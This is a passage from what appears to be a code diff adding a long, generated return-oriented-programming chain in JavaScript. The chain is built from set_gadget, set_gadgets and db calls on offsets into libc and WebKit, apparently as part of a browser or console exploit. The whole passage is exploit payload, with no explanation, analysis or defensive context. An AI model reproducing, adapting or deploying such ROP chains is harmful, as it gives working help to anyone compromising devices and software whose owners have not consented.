+libc_base+863109, +libc_base+713278, +ropchain+121576, +webkit_base+4687784, +libc_base+768796 +]); +db([31, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+121672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+121688, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+121776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+121832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+121904, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+121960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+768796, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+122112, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+122200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+122216, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+122360, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+122328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+122344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+122432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+122488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+122584, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+122680, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+122696, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+122784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+122840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+122912, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+122968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+123072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+123160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+123176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+123320, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+123288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+123304, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+123392, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+123448, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+123544, +webkit_base+4687784, +libc_base+768796 +]); +db([37, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+123640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+123656, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+123744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+123800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+123920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+124008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+124024, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+124168, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+124136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+124152, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+124240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+124296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+124392, +webkit_base+4687784, +libc_base+768796 +]); +db([33, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+124488, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+124504, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+124592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+124648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+124720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+124776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+430587, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+124928, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+125016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+125032, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+125176, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+125144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+125160, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+125248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+125304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+125400, +webkit_base+4687784, +libc_base+768796 +]); +db([34, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+125496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+125512, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+125600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+125656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+125728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+125784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+125936, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+126024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+126040, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+126184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+126152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+126168, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+126256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+126312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+126408, +webkit_base+4687784, +libc_base+768796 +]); +db([35, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+126504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+126520, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+126608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+126664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+126736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+126792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+126896, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+126984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+127000, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+127144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+127112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+127128, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+127240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+127328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+127344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+127488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+127456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+127472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+127560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+127616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+127712, +webkit_base+4687784, +libc_base+768796 +]); +db([36, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+127808, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+127824, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+127912, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+127968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+128040, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+128096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+128248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+128336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+128352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+128496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+128464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+128480, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+128568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+128624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+128720, +webkit_base+4687784, +libc_base+768796 +]); +db([37, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+128816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+128832, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+128920, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+128976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+129048, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+129104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+765209, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+129256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+129344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+129360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+129504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+129472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+129488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+129576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+129632, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+129728, +webkit_base+4687784, +libc_base+768796 +]); +db([38, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+129824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+129840, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+129928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+129984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+130056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+130112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+130240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+130224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+130344, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+130360, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+130480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+130464, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+130552, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+130656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+130672, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+130784, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+130768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+130880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+130968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+130984, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+131128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+131144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+131112, +webkit_base+4687784, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+131232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+131248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+131408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+131440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+131392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+131424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+131552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+131536, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+131656, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+131744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+131760, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+131864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+131848, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+131936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+132104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+132120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+132088, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); 